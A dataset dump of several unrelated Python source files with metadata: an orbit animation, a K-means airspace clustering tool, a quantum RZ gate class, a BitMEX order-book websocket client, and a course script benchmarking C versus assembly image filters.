represent bodies and text to be animated\n# central bodies\ncent_body1, = [plt.plot([], [], 'ok')]\ncent_body2, = [plt.plot([], [], 'or')]\ncent_bodies = cent_body1 + cent_body2\n# point bodies\npoint_bodies1, = [plt.plot([], [], '.k')]\npoint_bodies2, = [plt.plot([], [], '.r')]\npoint_bodies = point_bodies1 + point_bodies2\n# text\ntime_text = [plt.text(0.15, 0.15, '', transform=plt.gcf().transFigure)]\npatches = cent_bodies + point_bodies + time_text\n# animate\nanimation = ani.FuncAnimation(fig, animate, init_func=init_animate,\n frames=nt//animation_speed_scaling,\n interval=10, blit=True)\n# determine plot bounds\nax.grid()\nbounds = plot_bounds()\nplt.xlim(bounds[0], bounds[1])\nplt.ylim(bounds[2], bounds[3])\nplt.xlabel('x (AU)')\nplt.ylabel('y (AU)')\nax.set_facecolor('whitesmoke')\nax.patch.set_alpha(0.1)\n\n# In[1]\n","sub_path":"animate6.py","file_name":"animate6.py","file_ext":"py","file_size_in_byte":6003,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"452478497","text":"from typing import List, Any\n\nfrom mpl_toolkits.mplot3d import Axes3D\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport random\nfrom sklearn.cluster import KMeans\n\nfileName = 't1.txt'\n\nK = 35\n# The number of Cluster\n\nN = 300\n# The number of iterate times\n\nDistance_per_point = 5\n# set a point per airline\n\n\nw1 = 80\n# the importance of distance between two points\n\nw2 = 70\n# the importance of airplanes number\n\nclass Airplane:\n name = \"null\"\n # the name of this point\n type = 0\n # the type 1 for airlines 2 for airport\n\n belong = np.zeros(K, dtype=np.int_, order='C')\n # the number belongs to every cluster\n # would be 00001000 e.t.c for point\n # would be 10204005 e.t.c for airlines\n\n cluster = 1\n # belong to which Cluster\n\n Fcoord = np.zeros(2, dtype=np.float_, order='C')\n Tcoord = np.zeros(2, dtype=np.float_, order='C')\n # Coord from && to\n\n data = np.zeros(34, dtype=np.float_, order='C')\n\n def __init__(self, tlist):\n self.name = tlist[0]\n self.type = int(tlist[1])\n self.Fcoord = np.asarray(tlist[2:4], dtype=np.float_)\n self.Tcoord = np.asarray(tlist[4:6], dtype=np.float_)\n self.data = np.asarray(tlist[6:], dtype=np.float_)\n\n # update Cluster\n def updataBelong(self):\n tCluster = self.cluster\n temp = 0\n for index, item in enumerate(self.belong):\n if (temp < item):\n temp = item\n tCluster = index\n self.cluster = tCluster\n\n def display(self):\n print(self.name, self.type, self.Fcoord, self.Tcoord, self.data)\n\n\nclass Point:\n\n def __init__(self, air: Airplane, Coord=np.zeros(2, dtype=np.float_), parent=0):\n self.data = air.data\n self.name = air.name\n self.coord = np.zeros(2, dtype=np.float_)\n self.coord = Coord\n self.parent = parent\n self.type = air.type\n\n def display(self):\n print(self.name, self.coord, self.belongsTo, self.data, self.color)\n\n def mkData(self, left, right):\n self.cData = np.zeros(36, dtype=np.float_)\n self.cData[:2] = self.coord * w1\n self.cData[2+left*2:4+right*2] = self.data[left*2:2+right*2]\n for index,i in enumerate(self.cData):\n if index > 1 and index % 2 == 1:\n self.cData[index] *= w2\n\n\nairsList = [] # type: list[Airplane]\npointList = [] # type: list[point]\nPointN = 0\nansList = []\n\n\n# read data from file\ndef readFile():\n file = open(fileName)\n FileContex = file.readlines()\n for i in FileContex:\n tlist = i.split(' ')\n airsList.append(Airplane(tlist))\n\n\n# calc Euclidean Distance for vector\ndef calcDis(Veca, Vecb):\n return np.linalg.norm(Veca - Vecb)\n\n\ndef mkPoint():\n global PointN\n global pointList\n global airsList\n for index, i in enumerate(airsList):\n if i.type == 0:\n pointList.append(Point(i, parent=index, Coord=i.Fcoord))\n PointN += 1\n else:\n From = i.Fcoord\n To = i.Tcoord\n delta = To - From\n pointNumber = calcDis(From, To) / Distance_per_point\n pointNumber = int(pointNumber)\n delta /= pointNumber\n for j in range(pointNumber):\n Coord = From + delta * j\n pointList.append(Point(i, parent=index, Coord=Coord))\n PointN += 1\n pointList.append(Point(i, parent=index, Coord=To))\n PointN += 1\n\n\ndef mkPic(l,r,ans):\n ax = plt.subplot(1, 1, 1, projection='3d')\n ax.set_xlabel('longitude')\n ax.set_ylabel('latitude')\n ax.set_zlabel('data')\n clist = []\n dlist = []\n for i in DATA[ans]:\n clist.append(i.coord.tolist())\n\n rlist = []\n c = []\n nameL = []\n sum = 0\n p:Point\n for i in pointList:\n i.mkData(l - 6, r - 7)\n t = np.sum(i.cData[2:])\n if i.coord.tolist() in clist:\n c.append(1)\n if sum < t:\n sum = t\n p = i\n else:\n c.append(0)\n rlist.append(i.coord)\n dlist.append(t)\n nameL.append(i.name)\n\n rlist = np.asarray(rlist,dtype=np.float_)\n ax.scatter(rlist[:,0], rlist[:,1],dlist,c=c)\n tlist = []\n for index,i in enumerate(nameL):\n if not i in tlist:\n tlist.append(i)\n ax.text(rlist[index][0],rlist[index][1],dlist[index],i)\n\n print('CHOSEN: ')\n print(p.name + ' ' + str(p.coord))\n\n\n\ndef k_means(left=0, right=17):\n cList = []\n pList = []\n i: Point\n for index, i in enumerate(pointList):\n pointList[index].mkData(left, right)\n pList.append(i.parent)\n cList.append(pointList[index].cData)\n cList = np.asarray(cList, dtype=np.float_)\n result = KMeans(n_clusters=K, max_iter=N).fit_predict(cList)\n # print(result)\n a = []\n for i in range(K):\n a.append([])\n for index, j in enumerate(result):\n a[j].append(np.sum(np.asarray(cList[index][2:])))\n\n c = []\n cc = []\n for i in a:\n c.append(np.mean(np.asarray(i)))\n cc.append(np.mean(np.asarray(i)))\n\n tpos = np.argmax(np.asarray(c))\n tnum = cc[tpos]\n sum = 0\n for i in cc:\n sum += tnum - i;\n\n slist = []\n dlist = []\n for index, i in enumerate(result):\n if i == tpos:\n slist.append(index)\n dlist.append(pointList[index])\n\n return sum, slist, dlist\n\n\nSUM = []\nRESULT = []\nDATA = []\n\n\ndef main_process():\n index = 0\n for l in range(17):\n for r in range(l, 17):\n tSum, tResult, tDATA = k_means(l, r)\n SUM.append(tSum)\n RESULT.append(tResult)\n DATA.append(tDATA)\n index += 1\n print(float(index / 153 * 100), '% has done')\n\n\ndef query(op=1, len=1, left=6, right=7):\n\n ans = 0\n left = left - 6\n right = right - 7\n ansl = left\n ansr = right\n index = 0\n if op == 1: # [L,R]\n for l in range(17):\n for r in range(l, 17):\n if l == left and r == right:\n ans = index\n index += 1\n\n if op == 2:\n tsum = 0\n for l in range(17):\n for r in range(l, 17):\n if r - l + 1 <= len:\n if tsum < SUM[index]:\n tsum = SUM[index]\n ans = index\n ansl = l\n ansr = r\n index += 1\n return ans,ansl+6,ansr+7\n\nreadFile()\nmkPoint()\nmain_process()\nprint('The number of POINTs is:', str(PointN))\nprint('The number of CLUSTERs is:', str(K))\nwhile(True):\n op = int(input())\n tl = 0\n tr = 0\n tlen = 0\n if(op == 1):\n tl = int(input())\n tr = int(input())\n else:\n tlen = int(input())\n ans,l,r = query(op=op,left=tl,right=tr,len=tlen)\n mkPic(l,r,ans)\n print(l,r)\n for i in DATA[ans]:\n print(i.name + ' ' + str(i.coord))\n plt.show()\n","sub_path":"异常空域单元识别/t.py","file_name":"t.py","file_ext":"py","file_size_in_byte":6935,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"240237950","text":"\"\"\"This module implements the RZGate.\"\"\"\nfrom __future__ import annotations\n\nfrom typing import Sequence\n\nimport numpy as np\n\nfrom bqskit.ir.gates.qubitgate import QubitGate\nfrom bqskit.qis.unitary.differentiable import DifferentiableUnitary\nfrom bqskit.qis.unitary.unitarymatrix import UnitaryMatrix\n\n\nclass RZGate(QubitGate, DifferentiableUnitary):\n \"\"\"A gate representing an arbitrary rotation around the Z axis.\"\"\"\n\n size = 1\n num_params = 1\n qasm_name = 'rz'\n\n def get_unitary(self, params: Sequence[float] = []) -> UnitaryMatrix:\n \"\"\"Returns the unitary for this gate, see Unitary for more info.\"\"\"\n self.check_parameters(params)\n\n pexp = np.exp(1j * params[0] / 2)\n nexp = np.exp(-1j * params[0] / 2)\n\n return UnitaryMatrix(\n [\n [nexp, 0],\n [0, pexp],\n ],\n )\n\n def get_grad(self, params: Sequence[float] = []) -> np.ndarray:\n \"\"\"Returns the gradient for this gate, see Gate for more info.\"\"\"\n self.check_parameters(params)\n\n dpexp = 1j * np.exp(1j * params[0] / 2) / 2\n dnexp = -1j * np.exp(-1j * params[0] / 2) / 2\n\n return np.array(\n [\n [\n [dnexp, 0],\n [0, dpexp],\n ],\n ], dtype=np.complex128,\n )\n","sub_path":"bqskit/ir/gates/parameterized/rz.py","file_name":"rz.py","file_ext":"py","file_size_in_byte":1350,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"505412923","text":"import json\nimport logging\nimport math\nimport threading\nimport traceback\nfrom time import sleep\nfrom urllib.parse import urlunparse, urlparse\n\nimport websocket\n\nfrom bitmex_tools.order_book_l2 import OrderBookL2\n\nlogger = logging.getLogger(__name__)\n\n\nclass BitMEXWebsocket:\n # Don't grow a table larger than this amount. Helps cap memory usage.\n MAX_TABLE_LEN = 200\n\n def __init__(self, endpoint, symbol, api_key=None, api_secret=None):\n \"\"\"Connect to the websocket and initialize data stores.\"\"\"\n logger.debug('Initializing WebSocket.')\n\n self.endpoint = endpoint\n self.symbol = symbol\n\n if api_key is not None and api_secret is None:\n raise ValueError('api_secret is required if api_key is provided')\n if api_key is None and api_secret is not None:\n raise ValueError('api_key is required if api_secret is provided')\n\n self.api_key = api_key\n self.api_secret = api_secret\n\n self.data = {}\n self.keys = {}\n self.exited = False\n\n self.order_book_l2 = OrderBookL2()\n\n # We can subscribe right in the connection querystring, so let's build that.\n # Subscribe to all pertinent endpoints\n wsURL = self.__get_url()\n logger.info('Connecting to %s' % wsURL)\n self.__connect(wsURL)\n logger.info('Connected to WS.')\n\n def exit(self):\n \"\"\"Call this to exit - will close websocket.\"\"\"\n self.exited = True\n self.ws.close()\n\n def get_instrument(self):\n \"\"\"Get the raw instrument data for this symbol.\"\"\"\n # Turn the 'tickSize' into 'tickLog' for use in rounding\n instrument = self.data['instrument'][0]\n instrument['tickLog'] = int(math.fabs(math.log10(instrument['tickSize'])))\n return instrument\n\n def __connect(self, wsURL):\n \"\"\"Connect to the websocket in a thread.\"\"\"\n logger.debug('Starting thread')\n\n self.ws = websocket.WebSocketApp(wsURL,\n on_message=self.__on_message,\n on_close=self.__on_close,\n on_open=self.__on_open,\n on_error=self.__on_error\n )\n\n self.wst = threading.Thread(target=lambda: self.ws.run_forever())\n self.wst.daemon = True\n self.wst.start()\n logger.debug('Started thread')\n\n # Wait for connect before continuing\n conn_timeout = 5\n while not self.ws.sock or not self.ws.sock.connected and conn_timeout:\n sleep(1)\n conn_timeout -= 1\n if not conn_timeout:\n logger.error('Couldnt connect to WS! Exiting.')\n self.exit()\n raise websocket.WebSocketTimeoutException('Couldnt connect to WS! Exiting.')\n\n def __get_url(self):\n \"\"\"\n Generate a connection URL. We can define subscriptions right in the querystring.\n Most subscription topics are scoped by the symbol we're listening to.\n \"\"\"\n\n # You can sub to orderBookL2 for all levels, or orderBookL2 for top 10 levels & save bandwidth\n symbolSubs = ['orderBookL2']\n genericSubs = ['margin']\n\n subscriptions = [sub + ':' + self.symbol for sub in symbolSubs]\n subscriptions += genericSubs\n\n urlParts = list(urlparse(self.endpoint))\n urlParts[0] = urlParts[0].replace('http', 'ws')\n urlParts[2] = '/realtime?subscribe={}'.format(','.join(subscriptions))\n return urlunparse(urlParts)\n\n def __wait_for_account(self):\n \"\"\"On subscribe, this data will come down. Wait for it.\"\"\"\n # Wait for the keys to show up from the ws\n while not {'margin', 'position', 'order', 'orderBookL2'} <= set(self.data):\n sleep(0.1)\n\n def __wait_for_symbol(self, symbol):\n \"\"\"On subscribe, this data will come down. Wait for it.\"\"\"\n while not {'instrument', 'trade', 'quote'} <= set(self.data):\n sleep(0.1)\n\n def __send_command(self, command, args=None):\n \"\"\"Send a raw command.\"\"\"\n if args is None:\n args = []\n self.ws.send(json.dumps({'op': command, 'args': args}))\n\n def __on_message(self, ws, message):\n message = json.loads(message)\n logger.debug(json.dumps(message))\n table = message['table'] if 'table' in message else None\n action = message['action'] if 'action' in message else None\n try:\n if 'subscribe' in message:\n logger.debug('Subscribed to %s.' % message['subscribe'])\n elif action:\n if table not in self.data:\n self.data[table] = []\n self.order_book_l2.message(message)\n except:\n logger.error(traceback.format_exc())\n\n def __on_error(self, ws, error):\n \"\"\"Called on fatal websocket errors. We exit on these.\"\"\"\n print('Bitmex socket had a problem', self.symbol, error)\n wsURL = self.__get_url()\n print('Connecting to %s' % wsURL)\n self.__connect(wsURL)\n print('Connected to WS.')\n # if not self.exited:\n # logger.error('Error : %s' % error)\n # raise websocket.WebSocketException(error)\n\n def __on_open(self, ws):\n \"\"\"Called when the WS opens.\"\"\"\n logger.debug('Websocket Opened.')\n\n def __on_close(self, ws):\n \"\"\"Called on websocket close.\"\"\"\n logger.info('Websocket Closed')\n\n\nif __name__ == '__main__':\n a = BitMEXWebsocket(endpoint='wss://www.bitmex.com/realtime', symbol='XBTUSD')\n last_bbo = None\n while True:\n new_bbo = a.order_book_l2.bbo()\n if new_bbo != last_bbo:\n last_bbo = new_bbo\n print(new_bbo)\n sleep(0.0001)\n","sub_path":"bitmex_tools/sockets/bitmex_socket_orderbookL2.py","file_name":"bitmex_socket_orderbookL2.py","file_ext":"py","file_size_in_byte":5817,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"372512388","text":"#!/usr/bin/env python3\nimport re\nimport statistics\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom termcolor import colored\nfrom libtest import *\n\nif not os.path.exists(TESTINDIR):\n print(colored('ERROR: Debe correr primero el script %s'%(PRIMER_SCRIPT), 'red'))\n exit()\n\n\n# Funciones para correr filtros y capturar salidas de pantalla para extraer mediciones...\n\ndef catedra_consola(filtro, implementacion, archivo_in, extra_params, salida_consola):\n salida_consola_a = subprocess.Popen([TP2ALU,filtro,\"-i\",implementacion,\"-o\",CATEDRADIR + \"/ \", archivo_in,extra_params],stdout=subprocess.PIPE)\n salida_consola_b = salida_consola_a.communicate()[0]\n salida_consola.append(salida_consola_b.decode('utf-8').strip())\n\ndef alumnos_consola(filtro, implementacion, archivo_in, extra_params, salida_consola):\n salida_consola_a = subprocess.Popen([TP2ALU,filtro,\"-i\",implementacion,\"-o\",CATEDRADIR + \"/ \", archivo_in,extra_params],stdout=subprocess.PIPE)\n salida_consola_b = salida_consola_a.communicate()[0]\n salida_consola.append(salida_consola_b.decode('utf-8').strip())\n\n\n\nCant_medidiones = 60 # Cantidad de mediciones por experimento\n\n\nnombre = ''\nOcultar_nombre = ''\nDescubrir_nombre = ''\n\nprint(colored('Se determinan archivos a testear...', 'blue'))\nimgs = archivos_tests()\nimgs.sort()\nimg0Prim = imgs[0:1]\nimg1PrimInd1 = len(imgs)/2\nimg1PrimInd2 = img1PrimInd1 + 1\nimg1Prim = imgs[int(img1PrimInd1):int(img1PrimInd2)]\n\nnombre = img0Prim[0]\nOcultar_nombre = img1Prim[0]\nDescubrir_nombre = img0Prim[0] + \".Ocultar.ASM.bmp\"\n\nprint(colored('Se realizan mediciones...', 'blue'))\n\n\n# Ocultar\n\nc___catedra_consola_Ocultar = []\nasm_alumnos_consola_Ocultar = []\n\nc___catedra_mediciones_Ocultar = []\nasm_alumnos_mediciones_Ocultar = []\n\n# Se ejecuta Ocultar (asm alumnos)\n\nfor i in range(len(img0Prim)):\n #print('Indice = ' + str(i) + ', Tamaño contenedor img0Prim = ' + str(len(img0Prim)) + ', Tamaño contenedor img1Prim = ' + str(len(img1Prim)))\n for j in range(Cant_medidiones-1):\n print ('Se ejecuta filtro Ocultar, implementación asm de alumnos sobre imagen ' + str(i) + ' ('+ img0Prim[i] + \", \" + img1Prim[i] + \") ... \" )\n alumnos_consola('Ocultar', 'asm', TESTINDIR + \"/\" + img0Prim[i], TESTINDIR + \"/\" + img1Prim[i], asm_alumnos_consola_Ocultar)\n\nprint('')\n\n# Se ejecuta Ocultar (c cátedra)\n\nfor i in range(len(img0Prim)):\n #print('Indice = ' + str(i) + ', Tamaño contenedor img0Prim = ' + str(len(img0Prim)) + ', Tamaño contenedor img1Prim = ' + str(len(img1Prim)))\n for j in range(Cant_medidiones-1):\n print ('Se ejecuta filtro Ocultar, implementación c de cátedra, sobre imagen ' + str(i) + ' (' + img0Prim[i] + \", \" + img1Prim[i] + \") ... \" )\n catedra_consola('Ocultar', 'c', TESTINDIR + \"/\" + img0Prim[i], TESTINDIR + \"/\" + img1Prim[i], c___catedra_consola_Ocultar)\n\n\n# Descubrir\n\nc___catedra_consola_Descubrir = []\nasm_alumnos_consola_Descubrir = []\n\nc___catedra_mediciones_Descubrir = []\nasm_alumnos_mediciones_Descubrir = []\n\n# Se ejecuta Descubrir (asm alumnos)\n\nfor i in range(len(img0Prim)):\n #print('Indice = ' + str(i) + ', Tamaño contenedor img0Prim = ' + str(len(img0Prim)))\n for j in range(Cant_medidiones-1):\n print ('Se ejecuta filtro Descubrir, implementación asm de alumnos sobre imagen ' + str(i) + ' ('+ img0Prim[i] + \") ... \" )\n alumnos_consola('Descubrir', 'asm', CATEDRADIR + \"/\" + img0Prim[i] + \".Ocultar.ASM.bmp\", '', asm_alumnos_consola_Descubrir)\n\nprint('')\n\n# Se ejecuta Descubrir (c cátedra)\n\nfor i in range(len(img0Prim)):\n #print('Indice = ' + str(i) + ', Tamaño contenedor img0Prim = ' + str(len(img0Prim)))\n for j in range(Cant_medidiones-1):\n print ('Se ejecuta filtro Descubrir, implementación c de cátedra, sobre imagen ' + str(i) + ' (' + img0Prim[i] + \") ... \" )\n catedra_consola('Descubrir', 'c', CATEDRADIR + \"/\" + img0Prim[i] + \".Ocultar.ASM.bmp\", '', c___catedra_consola_Descubrir)\n\n\n\n# Zigzag\n\nc___catedra_consola_Zigzag = []\nasm_alumnos_consola_Zigzag = []\n\nc___catedra_mediciones_Zigzag = []\nasm_alumnos_mediciones_Zigzag = []\n\n# Se ejecuta Zigzag (asm alumnos)\n\nfor i in range(len(img0Prim)):\n #print('Indice = ' + str(i) + ', Tamaño contenedor img0Prim = ' + str(len(img0Prim)))\n for j in range(Cant_medidiones-1):\n print ('Se ejecuta filtro Zigzag, implementación asm de alumnos sobre imagen ' + str(i) + ' ('+ img0Prim[i] + \") ... \" )\n alumnos_consola('Zigzag', 'asm', TESTINDIR + \"/\" + img0Prim[i], '', asm_alumnos_consola_Zigzag)\n\nprint('')\n\n# Se ejecuta Zigzag (c cátedra)\n\nfor i in range(len(img0Prim)):\n #print('Indice = ' + str(i) + ', Tamaño contenedor img0Prim = ' + str(len(img0Prim)))\n for j in range(Cant_medidiones-1):\n print ('Se ejecuta filtro Zigzag, implementación c de cátedra, sobre imagen ' + str(i) + ' (' + img0Prim[i] + \") ... \" )\n catedra_consola('Zigzag', 'c', TESTINDIR + \"/\" + img0Prim[i], '', c___catedra_consola_Zigzag)\n\n\n\nprint(colored('\\nSe listan salidas de consola capturadas...\\n', 'green'))\n\n\nprint(colored(\"\\nLecturas de consola Ocultar c catedra...\\n\", 'blue'))\nprint('\\n'.join(c___catedra_consola_Ocultar))\nprint(\"\\n\")\n\nprint(colored(\"\\nLecturas de consola Ocultar asm alumnos...\\n\", 'blue'))\nprint('\\n'.join(asm_alumnos_consola_Ocultar))\nprint(\"\\n\")\n\nprint(colored(\"\\nLecturas de consola Descubrir c catedra...\\n\", 'blue'))\nprint('\\n'.join(c___catedra_consola_Descubrir))\nprint(\"\\n\")\n\nprint(colored(\"\\nLecturas de consola Descubrir asm alumnos...\\n\", 'blue'))\nprint('\\n'.join(asm_alumnos_consola_Descubrir))\nprint(\"\\n\")\n\nprint(colored(\"\\nLecturas de consola Zigzag c catedra...\\n\", 'blue'))\nprint('\\n'.join(c___catedra_consola_Zigzag))\nprint(\"\\n\")\n\nprint(colored(\"\\nLecturas de consola Zigzag asm alumnos...\\n\", 'blue'))\nprint('\\n'.join(asm_alumnos_consola_Zigzag))\nprint(\"\\n\")\n\n\n\nprint(colored('\\nSe extraen mediciones de salidas de consola capturadas y se las lista...\\n', 'green'))\n\n\n\nprint(colored(\"\\n\" + str(Cant_medidiones) + \" mediciones de pulsos de reloj de Ocultar c de cátedra sobre imágenes \" + nombre + \", \" + Ocultar_nombre + \"\\n\", 'blue'))\n\nfor i in range(len(c___catedra_consola_Ocultar)):\n extracciones = re.search(' # de ciclos insumidos totales : (.+?)\\n',c___catedra_consola_Ocultar[i])\n c___catedra_mediciones_Ocultar.append(float(extracciones.group(1)))\n print (extracciones.group(1))\nprint()\nc___catedra_promedio_Ocultar = statistics.mean(c___catedra_mediciones_Ocultar)\nprint(\"Promedio = \" + str(c___catedra_promedio_Ocultar))\nc___catedra_desvioEs_Ocultar = statistics.stdev(c___catedra_mediciones_Ocultar)\nprint(\"Desvío estándar = \" + str(c___catedra_desvioEs_Ocultar))\n\nprint(colored(\"\\n\" + str(Cant_medidiones) + \" mediciones de pulsos de reloj de Ocultar asm de alumnos sobre imágenes \" + nombre + \", \" + Ocultar_nombre + \"\\n\", 'blue'))\n\nfor i in range(len(asm_alumnos_consola_Ocultar)):\n extracciones = re.search(' # de ciclos insumidos totales : (.+?)\\n',asm_alumnos_consola_Ocultar[i])\n asm_alumnos_mediciones_Ocultar.append(float(extracciones.group(1)))\n print (extracciones.group(1))\nprint()\nasm_alumnos_promedio_Ocultar = statistics.mean(asm_alumnos_mediciones_Ocultar)\nprint(\"Promedio = \" + str(asm_alumnos_promedio_Ocultar))\nasm_alumnos_desvioEs_Ocultar = statistics.stdev(asm_alumnos_mediciones_Ocultar)\nprint(\"Desvío estándar = \" + str(asm_alumnos_desvioEs_Ocultar))\n\n\n\nprint(colored(\"\\n\" + str(Cant_medidiones) + \" mediciones de pulsos de reloj de Descubrir c de cátedra sobre imagen \" + Descubrir_nombre + \"\\n\", 'blue'))\n\nfor i in range(len(c___catedra_consola_Descubrir)):\n extracciones = re.search(' # de ciclos insumidos totales : (.+?)\\n',c___catedra_consola_Descubrir[i])\n c___catedra_mediciones_Descubrir.append(float(extracciones.group(1)))\n print (extracciones.group(1))\nprint()\nc___catedra_promedio_Descubrir = statistics.mean(c___catedra_mediciones_Descubrir)\nprint(\"Promedio = \" + str(c___catedra_promedio_Descubrir))\nc___catedra_desvioEs_Descubrir = statistics.stdev(c___catedra_mediciones_Descubrir)\nprint(\"Desvío estándar = \" + str(c___catedra_desvioEs_Descubrir))\n\nprint(colored(\"\\n\" + str(Cant_medidiones) + \" mediciones de pulsos de reloj de Descubrir asm de alumnos sobre imagen \" + Descubrir_nombre + \"\\n\", 'blue'))\n\nfor i in range(len(asm_alumnos_consola_Descubrir)):\n extracciones = re.search(' # de ciclos insumidos totales : (.+?)\\n',asm_alumnos_consola_Descubrir[i])\n asm_alumnos_mediciones_Descubrir.append(float(extracciones.group(1)))\n print (extracciones.group(1))\nprint()\nasm_alumnos_promedio_Descubrir = statistics.mean(asm_alumnos_mediciones_Descubrir)\nprint(\"Promedio = \" + str(asm_alumnos_promedio_Descubrir))\nasm_alumnos_desvioEs_Descubrir = statistics.stdev(asm_alumnos_mediciones_Descubrir)\nprint(\"Desvío estándar = \" + str(asm_alumnos_desvioEs_Descubrir))\n\n\n\n\nprint(colored(\"\\n\" + str(Cant_medidiones) + \" mediciones de pulsos de reloj de Zigzag c de cátedra sobre imagen \" + nombre + \"\\n\", 'blue'))\n\nfor i in range(len(c___catedra_consola_Zigzag)):\n extracciones = re.search(' # de ciclos insumidos totales : (.+?)\\n',c___catedra_consola_Zigzag[i])\n c___catedra_mediciones_Zigzag.append(float(extracciones.group(1)))\n print (extracciones.group(1))\nprint()\nc___catedra_promedio_Zigzag = statistics.mean(c___catedra_mediciones_Zigzag)\nprint(\"Promedio = \" + str(c___catedra_promedio_Zigzag))\nc___catedra_desvioEs_Zigzag = statistics.stdev(c___catedra_mediciones_Zigzag)\nprint(\"Desvío estándar = \" + str(c___catedra_desvioEs_Zigzag))\n\nprint(colored(\"\\n\" + str(Cant_medidiones) + \" mediciones de pulsos de reloj de Zigzag asm de alumnos sobre imagen \" + nombre + \"\\n\", 'blue'))\n\nfor i in range(len(asm_alumnos_consola_Zigzag)):\n extracciones = re.search(' # de ciclos insumidos totales : (.+?)\\n',asm_alumnos_consola_Zigzag[i])\n asm_alumnos_mediciones_Zigzag.append(float(extracciones.group(1)))\n print (extracciones.group(1))\nprint()\nasm_alumnos_promedio_Zigzag = statistics.mean(asm_alumnos_mediciones_Zigzag)\nprint(\"Promedio = \" + str(asm_alumnos_promedio_Zigzag))\nasm_alumnos_desvioEs_Zigzag = statistics.stdev(asm_alumnos_mediciones_Zigzag)\nprint(\"Desvío estándar = \" + str(asm_alumnos_desvioEs_Zigzag))\n\n\n\n\nwith open('Medicion_Ocultar_catedra_' + Ocultar_nombre + \"_en_\" + nombre + '.py','w') as archivo:\n archivo.write(str(Cant_medidiones) + \" mediciones de pulsos de reloj de Ocultar c de cátedra sobre imagen \" + nombre + \"\\n\")\n archivo.write(', '.join(map(str,c___catedra_mediciones_Ocultar)))\n archivo.write(\"\\nPromedio = \" + str(c___catedra_promedio_Ocultar))\n archivo.write(\"\\nDesvío estándar = \" + str(c___catedra_desvioEs_Ocultar))\n\nwith open('Medicion_Ocultar_alumnos_' + Ocultar_nombre + \"_en_\" + nombre + '.py','w') as archivo:\n archivo.write(str(Cant_medidiones) + \" mediciones de pulsos de reloj de Ocultar asm de alumnos sobre imagen \" + nombre + \"\\n\")\n archivo.write(', '.join(map(str,asm_alumnos_mediciones_Ocultar)))\n archivo.write(\"\\nPromedio = \" + str(asm_alumnos_promedio_Ocultar))\n archivo.write(\"\\nDesvío estándar = \" + str(asm_alumnos_desvioEs_Ocultar))\n\n\nwith open('Medicion_Descubrir_catedra_' + Descubrir_nombre + '.py','w') as archivo:\n archivo.write(str(Cant_medidiones) + \" mediciones de pulsos de reloj de Descubrir c de cátedra sobre imagen \" + nombre + \"\\n\")\n archivo.write(', '.join(map(str,c___catedra_mediciones_Descubrir)))\n archivo.write(\"\\nPromedio = \" + str(c___catedra_promedio_Descubrir))\n archivo.write(\"\\nDesvío estándar = \" + str(c___catedra_desvioEs_Descubrir))\n\nwith open('Medicion_Descubrir_alumnos_' + Descubrir_nombre + '.py','w') as archivo:\n archivo.write(str(Cant_medidiones) + \" mediciones de pulsos de reloj de Descubrir asm de alumnos sobre imagen \" + nombre + \"\\n\")\n archivo.write(', '.join(map(str,asm_alumnos_mediciones_Descubrir)))\n archivo.write(\"\\nPromedio = \" + str(asm_alumnos_promedio_Descubrir))\n archivo.write(\"\\nDesvío estándar = \" + str(asm_alumnos_desvioEs_Descubrir))\n\n\nwith open('Medicion_Zigzag_catedra_' + nombre + '.py','w') as archivo:\n archivo.write(str(Cant_medidiones) + \" mediciones de pulsos de reloj de Zigzag c de cátedra sobre imagen \" + nombre + \"\\n\")\n archivo.write(', '.join(map(str,c___catedra_mediciones_Zigzag)))\n archivo.write(\"\\nPromedio = \" + str(c___catedra_promedio_Zigzag))\n archivo.write(\"\\nDesvío estándar = \" + str(c___catedra_desvioEs_Zigzag))\n\nwith open('Medicion_Zigzag_alumnos_' + nombre + '.py','w') as archivo:\n archivo.write(str(Cant_medidiones) + \" mediciones de pulsos de reloj de Zigzag asm de alumnos sobre imagen \" + nombre + \"\\n\")\n archivo.write(', '.join(map(str,asm_alumnos_mediciones_Zigzag)))\n archivo.write(\"\\nPromedio = \" + str(asm_alumnos_promedio_Zigzag))\n archivo.write(\"\\nDesvío estándar = \" + str(asm_alumnos_desvioEs_Zigzag))\n\n\n\n\nOcultar_EjeImplemt = ('C','ASM\\nsin\\noptimizar')\nOcultar_distribucion_Barras = np.arange(len(Ocultar_EjeImplemt))\nOcultar_EjeTiempoPromedio = []\nOcultar_EjeTiempoPromedio.append(c___catedra_promedio_Ocultar)\nOcultar_EjeTiempoPromedio.append(asm_alumnos_promedio_Ocultar)\nOcultar_EjeTiempoDesvioEs = []\nOcultar_EjeTiempoDesvioEs.append(c___catedra_desvioEs_Ocultar)\nOcultar_EjeTiempoDesvioEs.append(asm_alumnos_desvioEs_Ocultar)\n\nplt.rcdefaults()\nfig, ax = plt.subplots()\nplt.barh(Ocultar_distribucion_Barras, Ocultar_EjeTiempoPromedio, xerr=Ocultar_EjeTiempoDesvioEs, align='center')\nplt.yticks(Ocultar_distribucion_Barras)\nax.set_yticklabels(Ocultar_EjeImplemt)\nax.invert_yaxis()\nfor i, v in enumerate(Ocultar_EjeTiempoPromedio):\n ax.text(v+3, i+.25, \"{:.2e}\".format(v) + \"\\n\" +chr(177) + \" \" + \"{:.2e}\".format(Ocultar_EjeTiempoDesvioEs[i])) #str(round(v,-3)) + \"\\n\" +chr(177) + \" \" + str(round(Ocultar_EjeTiempoDesvioEs[i],-3))\nax.set_xlim([0,1200000])\nplt.xlabel('Pulsos de reloj de CPU')\nplt.title('Tiempos de ejecución Ocultar\\n' + Ocultar_nombre + \" en \" + nombre)\nplt.savefig(\"Ocultar.\" + Ocultar_nombre + \".en.\" + nombre + \".jpg\")\n\n\n\n\n\nDescubrir_EjeImplemt = ('C','ASM\\nsin\\noptimizar')\nDescubrir_distribucion_Barras = np.arange(len(Descubrir_EjeImplemt))\nDescubrir_EjeTiempoPromedio = []\nDescubrir_EjeTiempoPromedio.append(c___catedra_promedio_Descubrir)\nDescubrir_EjeTiempoPromedio.append(asm_alumnos_promedio_Descubrir)\nDescubrir_EjeTiempoDesvioEs = 